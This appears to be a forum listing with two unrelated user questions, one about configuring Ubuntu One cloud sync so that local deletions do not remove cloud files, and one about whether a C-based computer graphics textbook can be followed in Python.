    OK. So I usually save my files online and not on my computer. I am hoping to be able to set up my Ubuntu One cloud to recognise changes made to documents and add new documents when synchronising. But not delete from the cloud, files I have deleted from my computer. Does anyone know if this is possible? I have searched around and can't figure out the answer to my question.I would appreciate any direction. Thank you so much!

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  • Computer Graphics: Principles and Practice in C ( in Python? )

    - by user29163
    I am attending a Computer graphics course after the summer. I have read lots of good things about the book "Computer Graphics: Principles and Practice in C" for people who are willing to put in some work. My school does not focus on C/C++ until next year, so I have decided to learn Python this summer and get good at Python this following year. How language dependent is this book? Can I work through it in Python?

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